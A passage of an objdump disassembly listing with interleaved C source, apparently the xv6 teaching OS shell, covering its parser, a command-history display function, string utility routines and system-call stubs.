a9e: e8 29 f9 ff ff call 3cc <panic>
gettoken(ps, es, 0, 0);
aa3: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
aaa: 00
aab: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
ab2: 00
ab3: 8b 45 0c mov 0xc(%ebp),%eax
ab6: 89 44 24 04 mov %eax,0x4(%esp)
aba: 8b 45 08 mov 0x8(%ebp),%eax
abd: 89 04 24 mov %eax,(%esp)
ac0: e8 e2 fa ff ff call 5a7 <gettoken>
cmd = parseline(ps, es);
ac5: 8b 45 0c mov 0xc(%ebp),%eax
ac8: 89 44 24 04 mov %eax,0x4(%esp)
acc: 8b 45 08 mov 0x8(%ebp),%eax
acf: 89 04 24 mov %eax,(%esp)
ad2: e8 1c fd ff ff call 7f3 <parseline>
ad7: 89 45 f4 mov %eax,-0xc(%ebp)
if(!peek(ps, es, ")"))
ada: c7 44 24 08 45 16 00 movl $0x1645,0x8(%esp)
ae1: 00
ae2: 8b 45 0c mov 0xc(%ebp),%eax
ae5: 89 44 24 04 mov %eax,0x4(%esp)
ae9: 8b 45 08 mov 0x8(%ebp),%eax
aec: 89 04 24 mov %eax,(%esp)
aef: e8 fe fb ff ff call 6f2 <peek>
af4: 85 c0 test %eax,%eax
af6: 75 0c jne b04 <parseblock+0x91>
panic("syntax - missing )");
af8: c7 04 24 47 16 00 00 movl $0x1647,(%esp)
aff: e8 c8 f8 ff ff call 3cc <panic>
gettoken(ps, es, 0, 0);
b04: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
b0b: 00
b0c: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
b13: 00
b14: 8b 45 0c mov 0xc(%ebp),%eax
b17: 89 44 24 04 mov %eax,0x4(%esp)
b1b: 8b 45 08 mov 0x8(%ebp),%eax
b1e: 89 04 24 mov %eax,(%esp)
b21: e8 81 fa ff ff call 5a7 <gettoken>
cmd = parseredirs(cmd, ps, es);
b26: 8b 45 0c mov 0xc(%ebp),%eax
b29: 89 44 24 08 mov %eax,0x8(%esp)
b2d: 8b 45 08 mov 0x8(%ebp),%eax
b30: 89 44 24 04 mov %eax,0x4(%esp)
b34: 8b 45 f4 mov -0xc(%ebp),%eax
b37: 89 04 24 mov %eax,(%esp)
b3a: e8 0c fe ff ff call 94b <parseredirs>
b3f: 89 45 f4 mov %eax,-0xc(%ebp)
return cmd;
b42: 8b 45 f4 mov -0xc(%ebp),%eax
}
b45: c9 leave
b46: c3 ret
00000b47 <parseexec>:
struct cmd*
parseexec(char **ps, char *es)
{
b47: 55 push %ebp
b48: 89 e5 mov %esp,%ebp
b4a: 83 ec 38 sub $0x38,%esp
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
b4d: c7 44 24 08 38 16 00 movl $0x1638,0x8(%esp)
b54: 00
b55: 8b 45 0c mov 0xc(%ebp),%eax
b58: 89 44 24 04 mov %eax,0x4(%esp)
b5c: 8b 45 08 mov 0x8(%ebp),%eax
b5f: 89 04 24 mov %eax,(%esp)
b62: e8 8b fb ff ff call 6f2 <peek>
b67: 85 c0 test %eax,%eax
b69: 74 17 je b82 <parseexec+0x3b>
return parseblock(ps, es);
b6b: 8b 45 0c mov 0xc(%ebp),%eax
b6e: 89 44 24 04 mov %eax,0x4(%esp)
b72: 8b 45 08 mov 0x8(%ebp),%eax
b75: 89 04 24 mov %eax,(%esp)
b78: e8 f6 fe ff ff call a73 <parseblock>
b7d: e9 09 01 00 00 jmp c8b <parseexec+0x144>
ret = execcmd();
b82: e8 90 f8 ff ff call 417 <execcmd>
b87: 89 45 f0 mov %eax,-0x10(%ebp)
cmd = (struct execcmd*)ret;
b8a: 8b 45 f0 mov -0x10(%ebp),%eax
b8d: 89 45 ec mov %eax,-0x14(%ebp)
argc = 0;
b90: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
ret = parseredirs(ret, ps, es);
b97: 8b 45 0c mov 0xc(%ebp),%eax
b9a: 89 44 24 08 mov %eax,0x8(%esp)
b9e: 8b 45 08 mov 0x8(%ebp),%eax
ba1: 89 44 24 04 mov %eax,0x4(%esp)
ba5: 8b 45 f0 mov -0x10(%ebp),%eax
ba8: 89 04 24 mov %eax,(%esp)
bab: e8 9b fd ff ff call 94b <parseredirs>
bb0: 89 45 f0 mov %eax,-0x10(%ebp)
while(!peek(ps, es, "|)&;")){
bb3: e9 8f 00 00 00 jmp c47 <parseexec+0x100>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
bb8: 8d 45 e0 lea -0x20(%ebp),%eax
bbb: 89 44 24 0c mov %eax,0xc(%esp)
bbf: 8d 45 e4 lea -0x1c(%ebp),%eax
bc2: 89 44 24 08 mov %eax,0x8(%esp)
bc6: 8b 45 0c mov 0xc(%ebp),%eax
bc9: 89 44 24 04 mov %eax,0x4(%esp)
bcd: 8b 45 08 mov 0x8(%ebp),%eax
bd0: 89 04 24 mov %eax,(%esp)
bd3: e8 cf f9 ff ff call 5a7 <gettoken>
bd8: 89 45 e8 mov %eax,-0x18(%ebp)
bdb: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
bdf: 75 05 jne be6 <parseexec+0x9f>
break;
be1: e9 83 00 00 00 jmp c69 <parseexec+0x122>
if(tok != 'a')
be6: 83 7d e8 61 cmpl $0x61,-0x18(%ebp)
bea: 74 0c je bf8 <parseexec+0xb1>
panic("syntax");
bec: c7 04 24 0b 16 00 00 movl $0x160b,(%esp)
bf3: e8 d4 f7 ff ff call 3cc <panic>
cmd->argv[argc] = q;
bf8: 8b 4d e4 mov -0x1c(%ebp),%ecx
bfb: 8b 45 ec mov -0x14(%ebp),%eax
bfe: 8b 55 f4 mov -0xc(%ebp),%edx
c01: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4)
cmd->eargv[argc] = eq;
c05: 8b 55 e0 mov -0x20(%ebp),%edx
c08: 8b 45 ec mov -0x14(%ebp),%eax
c0b: 8b 4d f4 mov -0xc(%ebp),%ecx
c0e: 83 c1 08 add $0x8,%ecx
c11: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
argc++;
c15: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(argc >= MAXARGS)
c19: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
c1d: 7e 0c jle c2b <parseexec+0xe4>
panic("too many args");
c1f: c7 04 24 5a 16 00 00 movl $0x165a,(%esp)
c26: e8 a1 f7 ff ff call 3cc <panic>
ret = parseredirs(ret, ps, es);
c2b: 8b 45 0c mov 0xc(%ebp),%eax
c2e: 89 44 24 08 mov %eax,0x8(%esp)
c32: 8b 45 08 mov 0x8(%ebp),%eax
c35: 89 44 24 04 mov %eax,0x4(%esp)
c39: 8b 45 f0 mov -0x10(%ebp),%eax
c3c: 89 04 24 mov %eax,(%esp)
c3f: e8 07 fd ff ff call 94b <parseredirs>
c44: 89 45 f0 mov %eax,-0x10(%ebp)
ret = execcmd();
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
while(!peek(ps, es, "|)&;")){
c47: c7 44 24 08 68 16 00 movl $0x1668,0x8(%esp)
c4e: 00
c4f: 8b 45 0c mov 0xc(%ebp),%eax
c52: 89 44 24 04 mov %eax,0x4(%esp)
c56: 8b 45 08 mov 0x8(%ebp),%eax
c59: 89 04 24 mov %eax,(%esp)
c5c: e8 91 fa ff ff call 6f2 <peek>
c61: 85 c0 test %eax,%eax
c63: 0f 84 4f ff ff ff je bb8 <parseexec+0x71>
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
}
cmd->argv[argc] = 0;
c69: 8b 45 ec mov -0x14(%ebp),%eax
c6c: 8b 55 f4 mov -0xc(%ebp),%edx
c6f: c7 44 90 04 00 00 00 movl $0x0,0x4(%eax,%edx,4)
c76: 00
cmd->eargv[argc] = 0;
c77: 8b 45 ec mov -0x14(%ebp),%eax
c7a: 8b 55 f4 mov -0xc(%ebp),%edx
c7d: 83 c2 08 add $0x8,%edx
c80: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4)
c87: 00
return ret;
c88: 8b 45 f0 mov -0x10(%ebp),%eax
}
c8b: c9 leave
c8c: c3 ret
00000c8d <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
c8d: 55 push %ebp
c8e: 89 e5 mov %esp,%ebp
c90: 83 ec 38 sub $0x38,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
c93: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
c97: 75 0a jne ca3 <nulterminate+0x16>
return 0;
c99: b8 00 00 00 00 mov $0x0,%eax
c9e: e9 c9 00 00 00 jmp d6c <nulterminate+0xdf>
switch(cmd->type){
ca3: 8b 45 08 mov 0x8(%ebp),%eax
ca6: 8b 00 mov (%eax),%eax
ca8: 83 f8 05 cmp $0x5,%eax
cab: 0f 87 b8 00 00 00 ja d69 <nulterminate+0xdc>
cb1: 8b 04 85 70 16 00 00 mov 0x1670(,%eax,4),%eax
cb8: ff e0 jmp *%eax
case EXEC:
ecmd = (struct execcmd*)cmd;
cba: 8b 45 08 mov 0x8(%ebp),%eax
cbd: 89 45 f0 mov %eax,-0x10(%ebp)
for(i=0; ecmd->argv[i]; i++)
cc0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
cc7: eb 14 jmp cdd <nulterminate+0x50>
*ecmd->eargv[i] = 0;
cc9: 8b 45 f0 mov -0x10(%ebp),%eax
ccc: 8b 55 f4 mov -0xc(%ebp),%edx
ccf: 83 c2 08 add $0x8,%edx
cd2: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
cd6: c6 00 00 movb $0x0,(%eax)
return 0;
switch(cmd->type){
case EXEC:
ecmd = (struct execcmd*)cmd;
for(i=0; ecmd->argv[i]; i++)
cd9: 83 45 f4 01 addl $0x1,-0xc(%ebp)
cdd: 8b 45 f0 mov -0x10(%ebp),%eax
ce0: 8b 55 f4 mov -0xc(%ebp),%edx
ce3: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax
ce7: 85 c0 test %eax,%eax
ce9: 75 de jne cc9 <nulterminate+0x3c>
*ecmd->eargv[i] = 0;
break;
ceb: eb 7c jmp d69 <nulterminate+0xdc>
case REDIR:
rcmd = (struct redircmd*)cmd;
ced: 8b 45 08 mov 0x8(%ebp),%eax
cf0: 89 45 ec mov %eax,-0x14(%ebp)
nulterminate(rcmd->cmd);
cf3: 8b 45 ec mov -0x14(%ebp),%eax
cf6: 8b 40 04 mov 0x4(%eax),%eax
cf9: 89 04 24 mov %eax,(%esp)
cfc: e8 8c ff ff ff call c8d <nulterminate>
*rcmd->efile = 0;
d01: 8b 45 ec mov -0x14(%ebp),%eax
d04: 8b 40 0c mov 0xc(%eax),%eax
d07: c6 00 00 movb $0x0,(%eax)
break;
d0a: eb 5d jmp d69 <nulterminate+0xdc>
case PIPE:
pcmd = (struct pipecmd*)cmd;
d0c: 8b 45 08 mov 0x8(%ebp),%eax
d0f: 89 45 e8 mov %eax,-0x18(%ebp)
nulterminate(pcmd->left);
d12: 8b 45 e8 mov -0x18(%ebp),%eax
d15: 8b 40 04 mov 0x4(%eax),%eax
d18: 89 04 24 mov %eax,(%esp)
d1b: e8 6d ff ff ff call c8d <nulterminate>
nulterminate(pcmd->right);
d20: 8b 45 e8 mov -0x18(%ebp),%eax
d23: 8b 40 08 mov 0x8(%eax),%eax
d26: 89 04 24 mov %eax,(%esp)
d29: e8 5f ff ff ff call c8d <nulterminate>
break;
d2e: eb 39 jmp d69 <nulterminate+0xdc>
case LIST:
lcmd = (struct listcmd*)cmd;
d30: 8b 45 08 mov 0x8(%ebp),%eax
d33: 89 45 e4 mov %eax,-0x1c(%ebp)
nulterminate(lcmd->left);
d36: 8b 45 e4 mov -0x1c(%ebp),%eax
d39: 8b 40 04 mov 0x4(%eax),%eax
d3c: 89 04 24 mov %eax,(%esp)
d3f: e8 49 ff ff ff call c8d <nulterminate>
nulterminate(lcmd->right);
d44: 8b 45 e4 mov -0x1c(%ebp),%eax
d47: 8b 40 08 mov 0x8(%eax),%eax
d4a: 89 04 24 mov %eax,(%esp)
d4d: e8 3b ff ff ff call c8d <nulterminate>
break;
d52: eb 15 jmp d69 <nulterminate+0xdc>
case BACK:
bcmd = (struct backcmd*)cmd;
d54: 8b 45 08 mov 0x8(%ebp),%eax
d57: 89 45 e0 mov %eax,-0x20(%ebp)
nulterminate(bcmd->cmd);
d5a: 8b 45 e0 mov -0x20(%ebp),%eax
d5d: 8b 40 04 mov 0x4(%eax),%eax
d60: 89 04 24 mov %eax,(%esp)
d63: e8 25 ff ff ff call c8d <nulterminate>
break;
d68: 90 nop
}
return cmd;
d69: 8b 45 08 mov 0x8(%ebp),%eax
}
d6c: c9 leave
d6d: c3 ret
00000d6e <display_history>:
void display_history(void) {
d6e: 55 push %ebp
d6f: 89 e5 mov %esp,%ebp
d71: 83 ec 28 sub $0x28,%esp
static char buff[100];
int index = 0;
d74: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(history(buff, index++) == 0)
d7b: eb 23 jmp da0 <display_history+0x32>
printf(1,"%d: %s \n", index, buff);
d7d: c7 44 24 0c 00 1c 00 movl $0x1c00,0xc(%esp)
d84: 00
d85: 8b 45 f4 mov -0xc(%ebp),%eax
d88: 89 44 24 08 mov %eax,0x8(%esp)
d8c: c7 44 24 04 88 16 00 movl $0x1688,0x4(%esp)
d93: 00
d94: c7 04 24 01 00 00 00 movl $0x1,(%esp)
d9b: e8 1f 04 00 00 call 11bf <printf>
void display_history(void) {
static char buff[100];
int index = 0;
while(history(buff, index++) == 0)
da0: 8b 45 f4 mov -0xc(%ebp),%eax
da3: 8d 50 01 lea 0x1(%eax),%edx
da6: 89 55 f4 mov %edx,-0xc(%ebp)
da9: 89 44 24 04 mov %eax,0x4(%esp)
dad: c7 04 24 00 1c 00 00 movl $0x1c00,(%esp)
db4: e8 0e 03 00 00 call 10c7 <history>
db9: 85 c0 test %eax,%eax
dbb: 74 c0 je d7d <display_history+0xf>
printf(1,"%d: %s \n", index, buff);
}
dbd: c9 leave
dbe: c3 ret
00000dbf <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
dbf: 55 push %ebp
dc0: 89 e5 mov %esp,%ebp
dc2: 57 push %edi
dc3: 53 push %ebx
asm volatile("cld; rep stosb" :
dc4: 8b 4d 08 mov 0x8(%ebp),%ecx
dc7: 8b 55 10 mov 0x10(%ebp),%edx
dca: 8b 45 0c mov 0xc(%ebp),%eax
dcd: 89 cb mov %ecx,%ebx
dcf: 89 df mov %ebx,%edi
dd1: 89 d1 mov %edx,%ecx
dd3: fc cld
dd4: f3 aa rep stos %al,%es:(%edi)
dd6: 89 ca mov %ecx,%edx
dd8: 89 fb mov %edi,%ebx
dda: 89 5d 08 mov %ebx,0x8(%ebp)
ddd: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
de0: 5b pop %ebx
de1: 5f pop %edi
de2: 5d pop %ebp
de3: c3 ret
00000de4 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
de4: 55 push %ebp
de5: 89 e5 mov %esp,%ebp
de7: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
dea: 8b 45 08 mov 0x8(%ebp),%eax
ded: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
df0: 90 nop
df1: 8b 45 08 mov 0x8(%ebp),%eax
df4: 8d 50 01 lea 0x1(%eax),%edx
df7: 89 55 08 mov %edx,0x8(%ebp)
dfa: 8b 55 0c mov 0xc(%ebp),%edx
dfd: 8d 4a 01 lea 0x1(%edx),%ecx
e00: 89 4d 0c mov %ecx,0xc(%ebp)
e03: 0f b6 12 movzbl (%edx),%edx
e06: 88 10 mov %dl,(%eax)
e08: 0f b6 00 movzbl (%eax),%eax
e0b: 84 c0 test %al,%al
e0d: 75 e2 jne df1 <strcpy+0xd>
;
return os;
e0f: 8b 45 fc mov -0x4(%ebp),%eax
}
e12: c9 leave
e13: c3 ret
00000e14 <strcmp>:
int
strcmp(const char *p, const char *q)
{
e14: 55 push %ebp
e15: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
e17: eb 08 jmp e21 <strcmp+0xd>
p++, q++;
e19: 83 45 08 01 addl $0x1,0x8(%ebp)
e1d: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
e21: 8b 45 08 mov 0x8(%ebp),%eax
e24: 0f b6 00 movzbl (%eax),%eax
e27: 84 c0 test %al,%al
e29: 74 10 je e3b <strcmp+0x27>
e2b: 8b 45 08 mov 0x8(%ebp),%eax
e2e: 0f b6 10 movzbl (%eax),%edx
e31: 8b 45 0c mov 0xc(%ebp),%eax
e34: 0f b6 00 movzbl (%eax),%eax
e37: 38 c2 cmp %al,%dl
e39: 74 de je e19 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
e3b: 8b 45 08 mov 0x8(%ebp),%eax
e3e: 0f b6 00 movzbl (%eax),%eax
e41: 0f b6 d0 movzbl %al,%edx
e44: 8b 45 0c mov 0xc(%ebp),%eax
e47: 0f b6 00 movzbl (%eax),%eax
e4a: 0f b6 c0 movzbl %al,%eax
e4d: 29 c2 sub %eax,%edx
e4f: 89 d0 mov %edx,%eax
}
e51: 5d pop %ebp
e52: c3 ret
00000e53 <strlen>:
uint
strlen(char *s)
{
e53: 55 push %ebp
e54: 89 e5 mov %esp,%ebp
e56: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
e59: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
e60: eb 04 jmp e66 <strlen+0x13>
e62: 83 45 fc 01 addl $0x1,-0x4(%ebp)
e66: 8b 55 fc mov -0x4(%ebp),%edx
e69: 8b 45 08 mov 0x8(%ebp),%eax
e6c: 01 d0 add %edx,%eax
e6e: 0f b6 00 movzbl (%eax),%eax
e71: 84 c0 test %al,%al
e73: 75 ed jne e62 <strlen+0xf>
;
return n;
e75: 8b 45 fc mov -0x4(%ebp),%eax
}
e78: c9 leave
e79: c3 ret
00000e7a <memset>:
void*
memset(void *dst, int c, uint n)
{
e7a: 55 push %ebp
e7b: 89 e5 mov %esp,%ebp
e7d: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
e80: 8b 45 10 mov 0x10(%ebp),%eax
e83: 89 44 24 08 mov %eax,0x8(%esp)
e87: 8b 45 0c mov 0xc(%ebp),%eax
e8a: 89 44 24 04 mov %eax,0x4(%esp)
e8e: 8b 45 08 mov 0x8(%ebp),%eax
e91: 89 04 24 mov %eax,(%esp)
e94: e8 26 ff ff ff call dbf <stosb>
return dst;
e99: 8b 45 08 mov 0x8(%ebp),%eax
}
e9c: c9 leave
e9d: c3 ret
00000e9e <strchr>:
char*
strchr(const char *s, char c)
{
e9e: 55 push %ebp
e9f: 89 e5 mov %esp,%ebp
ea1: 83 ec 04 sub $0x4,%esp
ea4: 8b 45 0c mov 0xc(%ebp),%eax
ea7: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
eaa: eb 14 jmp ec0 <strchr+0x22>
if(*s == c)
eac: 8b 45 08 mov 0x8(%ebp),%eax
eaf: 0f b6 00 movzbl (%eax),%eax
eb2: 3a 45 fc cmp -0x4(%ebp),%al
eb5: 75 05 jne ebc <strchr+0x1e>
return (char*)s;
eb7: 8b 45 08 mov 0x8(%ebp),%eax
eba: eb 13 jmp ecf <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
ebc: 83 45 08 01 addl $0x1,0x8(%ebp)
ec0: 8b 45 08 mov 0x8(%ebp),%eax
ec3: 0f b6 00 movzbl (%eax),%eax
ec6: 84 c0 test %al,%al
ec8: 75 e2 jne eac <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
eca: b8 00 00 00 00 mov $0x0,%eax
}
ecf: c9 leave
ed0: c3 ret
00000ed1 <gets>:
char*
gets(char *buf, int max)
{
ed1: 55 push %ebp
ed2: 89 e5 mov %esp,%ebp
ed4: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
ed7: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
ede: eb 4c jmp f2c <gets+0x5b>
cc = read(0, &c, 1);
ee0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
ee7: 00
ee8: 8d 45 ef lea -0x11(%ebp),%eax
eeb: 89 44 24 04 mov %eax,0x4(%esp)
eef: c7 04 24 00 00 00 00 movl $0x0,(%esp)
ef6: e8 44 01 00 00 call 103f <read>
efb: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
efe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
f02: 7f 02 jg f06 <gets+0x35>
break;
f04: eb 31 jmp f37 <gets+0x66>
buf[i++] = c;
f06: 8b 45 f4 mov -0xc(%ebp),%eax
f09: 8d 50 01 lea 0x1(%eax),%edx
f0c: 89 55 f4 mov %edx,-0xc(%ebp)
f0f: 89 c2 mov %eax,%edx
f11: 8b 45 08 mov 0x8(%ebp),%eax
f14: 01 c2 add %eax,%edx
f16: 0f b6 45 ef movzbl -0x11(%ebp),%eax
f1a: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
f1c: 0f b6 45 ef movzbl -0x11(%ebp),%eax
f20: 3c 0a cmp $0xa,%al
f22: 74 13 je f37 <gets+0x66>
f24: 0f b6 45 ef movzbl -0x11(%ebp),%eax
f28: 3c 0d cmp $0xd,%al
f2a: 74 0b je f37 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
f2c: 8b 45 f4 mov -0xc(%ebp),%eax
f2f: 83 c0 01 add $0x1,%eax
f32: 3b 45 0c cmp 0xc(%ebp),%eax
f35: 7c a9 jl ee0 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
f37: 8b 55 f4 mov -0xc(%ebp),%edx
f3a: 8b 45 08 mov 0x8(%ebp),%eax
f3d: 01 d0 add %edx,%eax
f3f: c6 00 00 movb $0x0,(%eax)
return buf;
f42: 8b 45 08 mov 0x8(%ebp),%eax
}
f45: c9 leave
f46: c3 ret
00000f47 <stat>:
int
stat(char *n, struct stat *st)
{
f47: 55 push %ebp
f48: 89 e5 mov %esp,%ebp
f4a: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
f4d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
f54: 00
f55: 8b 45 08 mov 0x8(%ebp),%eax
f58: 89 04 24 mov %eax,(%esp)
f5b: e8 07 01 00 00 call 1067 <open>
f60: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
f63: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
f67: 79 07 jns f70 <stat+0x29>
return -1;
f69: b8 ff ff ff ff mov $0xffffffff,%eax
f6e: eb 23 jmp f93 <stat+0x4c>
r = fstat(fd, st);
f70: 8b 45 0c mov 0xc(%ebp),%eax
f73: 89 44 24 04 mov %eax,0x4(%esp)
f77: 8b 45 f4 mov -0xc(%ebp),%eax
f7a: 89 04 24 mov %eax,(%esp)
f7d: e8 fd 00 00 00 call 107f <fstat>
f82: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
f85: 8b 45 f4 mov -0xc(%ebp),%eax
f88: 89 04 24 mov %eax,(%esp)
f8b: e8 bf 00 00 00 call 104f <close>
return r;
f90: 8b 45 f0 mov -0x10(%ebp),%eax
}
f93: c9 leave
f94: c3 ret
00000f95 <atoi>:
int
atoi(const char *s)
{
f95: 55 push %ebp
f96: 89 e5 mov %esp,%ebp
f98: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
f9b: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
fa2: eb 25 jmp fc9 <atoi+0x34>
n = n*10 + *s++ - '0';
fa4: 8b 55 fc mov -0x4(%ebp),%edx
fa7: 89 d0 mov %edx,%eax
fa9: c1 e0 02 shl $0x2,%eax
fac: 01 d0 add %edx,%eax
fae: 01 c0 add %eax,%eax
fb0: 89 c1 mov %eax,%ecx
fb2: 8b 45 08 mov 0x8(%ebp),%eax
fb5: 8d 50 01 lea 0x1(%eax),%edx
fb8: 89 55 08 mov %edx,0x8(%ebp)
fbb: 0f b6 00 movzbl (%eax),%eax
fbe: 0f be c0 movsbl %al,%eax
fc1: 01 c8 add %ecx,%eax
fc3: 83 e8 30 sub $0x30,%eax
fc6: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
fc9: 8b 45 08 mov 0x8(%ebp),%eax
fcc: 0f b6 00 movzbl (%eax),%eax
fcf: 3c 2f cmp $0x2f,%al
fd1: 7e 0a jle fdd <atoi+0x48>
fd3: 8b 45 08 mov 0x8(%ebp),%eax
fd6: 0f b6 00 movzbl (%eax),%eax
fd9: 3c 39 cmp $0x39,%al
fdb: 7e c7 jle fa4 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
fdd: 8b 45 fc mov -0x4(%ebp),%eax
}
fe0: c9 leave
fe1: c3 ret
00000fe2 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
fe2: 55 push %ebp
fe3: 89 e5 mov %esp,%ebp
fe5: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
fe8: 8b 45 08 mov 0x8(%ebp),%eax
feb: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
fee: 8b 45 0c mov 0xc(%ebp),%eax
ff1: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
ff4: eb 17 jmp 100d <memmove+0x2b>
*dst++ = *src++;
ff6: 8b 45 fc mov -0x4(%ebp),%eax
ff9: 8d 50 01 lea 0x1(%eax),%edx
ffc: 89 55 fc mov %edx,-0x4(%ebp)
fff: 8b 55 f8 mov -0x8(%ebp),%edx
1002: 8d 4a 01 lea 0x1(%edx),%ecx
1005: 89 4d f8 mov %ecx,-0x8(%ebp)
1008: 0f b6 12 movzbl (%edx),%edx
100b: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
100d: 8b 45 10 mov 0x10(%ebp),%eax
1010: 8d 50 ff lea -0x1(%eax),%edx
1013: 89 55 10 mov %edx,0x10(%ebp)
1016: 85 c0 test %eax,%eax
1018: 7f dc jg ff6 <memmove+0x14>
*dst++ = *src++;
return vdst;
101a: 8b 45 08 mov 0x8(%ebp),%eax
}
101d: c9 leave
101e: c3 ret
0000101f <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
101f: b8 01 00 00 00 mov $0x1,%eax
1024: cd 40 int $0x40
1026: c3 ret
00001027 <exit>:
SYSCALL(exit)
1027: b8 02 00 00 00 mov $0x2,%eax
102c: cd 40 int $0x40
102e: c3 ret
0000102f <wait>:
SYSCALL(wait)
102f: b8 03 00 00 00 mov $0x3,%eax
1034: cd 40 int $0x40
1036: c3 ret
00001037 <pipe>:
SYSCALL(pipe)
1037: b8 04 00 00 00 mov $0x4,%eax
103c: cd 40 int $0x40
103e: c3 ret
0000103f <read>:
SYSCALL(read)
103f: b8 05 00 00 00 mov $0x5,%eax
1044: cd 40 int $0x40
1046: c3 ret
00001047 <write>:
SYSCALL(write)
1047: b8 10 00 00 00 mov $0x10,%eax
104c: cd 40 int $0x40
104e: c3 ret
0000104f <close>:
SYSCALL(close)
104f: b8 15 00 00 00 mov $0x15,%eax
1054: cd 40 int $0x40
1056: c3 ret
00001057 <kill>:
SYSCALL(kill)
1057: b8 06 00 00 00 mov $0x6,%eax
105c: cd 40 int $0x40
105e: c3 ret
0000105f <exec>:
SYSCALL(exec)
105f: b8 07 00 00 00 mov $0x7,%eax
1064: cd 40 int $0x40
1066: c3 ret
00001067 <open>:
SYSCALL(open)
1067: b8 0f 00 00 00 mov $0xf,%eax
106c: cd 40 int $0x40
106e: c3 ret
0000106f <mknod>:
SYSCALL(mknod)
106f: b8 11 00 00 00 mov $0x11,%eax
1074: cd 40 int $0x40
1076: c3 ret
00001077 <unlink>:
SYSCALL(unlink)
1077: b8 12 00 00 00 mov $0x12,%eax
107c: cd 40 int $0x40
107e: c3 ret
0000107f <fstat>:
SYSCALL(fstat)
107f: b8 08 00 00 00 mov $0x8,%eax
1084: cd 40 int $0x40
1086: c3 ret
00001087 <link>:
SYSCALL(link)
1087: b8 13 00 00 00 mov $0x13,%eax
108c: cd 40 int $0x40
108e: c3 ret
0000108f <mkdir>:
SYSCALL(mkdir)
108f: b8 14 00 00 00 mov $0x14,%eax
1094: cd 40 int $0x40
1096: c3 ret
00001097 <chdir>:
SYSCALL(chdir)
1097: b8 09 00 00 00 mov $0x9,%eax
109c: cd 40 int $0x40
109e: c3 ret
0000109f <dup>:
SYSCALL(dup)
109f: b8 0a 00 00 00 mov $0xa,%eax
10a4: cd 40 int $0x40
10a6: c3 ret
000010a7 <getpid>:
SYSCALL(getpid)
10a7: b8 0b 00 00 00 mov $0xb,%eax
10ac: cd 40 int $0x40
10ae: c3 ret
000010af <sbrk>:
SYSCALL(sbrk)
10af: b8 0c 00 00 00 mov $0xc,%eax
10b4: cd 40 int $0x40
10b6: c3 ret
000010b7 <sleep>:
SYSCALL(sleep)
10b7: b8 0d 00 00 00 mov $0xd,%eax
